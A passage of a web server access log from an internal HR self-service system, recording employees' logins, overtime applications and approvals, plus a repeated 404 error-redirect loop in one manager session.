+0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4139 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [04/Dec/2025:08:46:48 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4139 192.168.11.135 - - [04/Dec/2025:08:46:54 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 9028 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [04/Dec/2025:08:46:54 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 9028 192.168.11.135 - - [04/Dec/2025:08:46:54 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [04/Dec/2025:08:46:54 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.135 - - [04/Dec/2025:08:46:57 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [04/Dec/2025:08:46:57 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.135 - - [04/Dec/2025:08:47:03 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [04/Dec/2025:08:47:03 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 192.168.11.135 - - [04/Dec/2025:08:47:03 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [04/Dec/2025:08:47:03 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.135 - - [04/Dec/2025:08:47:07 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [04/Dec/2025:08:47:07 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.135 - - [04/Dec/2025:08:47:23 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7873633301773428 HTTP/1.1" 200 8908 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [04/Dec/2025:08:47:23 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7873633301773428 HTTP/1.1" 200 8908 192.168.11.135 - - [04/Dec/2025:08:47:33 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7873633301773428 HTTP/1.1" 200 24852 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7873633301773428" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [04/Dec/2025:08:47:33 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7873633301773428 HTTP/1.1" 200 24852 192.168.11.135 - - [04/Dec/2025:08:47:49 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4072 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [04/Dec/2025:08:47:49 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4072 192.168.11.135 - - [04/Dec/2025:08:47:51 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [04/Dec/2025:08:47:51 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.135 - - [04/Dec/2025:08:47:53 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8125 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [04/Dec/2025:08:47:53 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8125 192.168.11.135 - - [04/Dec/2025:08:48:02 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 25716 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [04/Dec/2025:08:48:02 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 25716 192.168.11.135 - - [04/Dec/2025:08:48:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [04/Dec/2025:08:48:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.40.52 - - [04/Dec/2025:08:48:38 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:08:48:38 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 192.168.40.52 - - [04/Dec/2025:08:48:39 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:08:48:39 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.40.52 - - [04/Dec/2025:08:48:42 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:08:48:42 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.40.52 - - [04/Dec/2025:08:48:43 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:08:48:43 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 192.168.11.135 - - [04/Dec/2025:08:48:44 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.009836556534928098 HTTP/1.1" 200 8908 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [04/Dec/2025:08:48:44 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.009836556534928098 HTTP/1.1" 200 8908 192.168.40.52 - - [04/Dec/2025:08:48:45 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10436 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:08:48:45 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10436 192.168.40.52 - - [04/Dec/2025:08:48:49 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 86139 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:08:48:49 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 86139 192.168.40.52 - - [04/Dec/2025:08:48:57 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:08:48:57 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - 192.168.40.52 - - [04/Dec/2025:08:48:58 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132720%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132720&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:08:48:58 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132720%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132720&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [04/Dec/2025:08:48:58 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:08:48:58 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [04/Dec/2025:08:48:58 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:08:48:58 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [04/Dec/2025:08:48:58 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:08:48:58 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [04/Dec/2025:08:48:59 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:08:48:59 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [04/Dec/2025:08:48:59 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:08:48:59 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [04/Dec/2025:08:48:59 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:08:48:59 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [04/Dec/2025:08:48:59 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:08:48:59 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [04/Dec/2025:08:48:59 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:08:48:59 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [04/Dec/2025:08:49:00 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:08:49:00 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.135 - - [04/Dec/2025:08:48:51 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.009836556534928098 HTTP/1.1" 200 24852 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.009836556534928098" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [04/Dec/2025:08:48:51 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.009836556534928098 HTTP/1.1" 200 24852 192.168.40.52 - - [04/Dec/2025:08:49:00 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:08:49:00 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [04/Dec/2025:08:49:00 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:08:49:00 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [04/Dec/2025:08:49:00 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 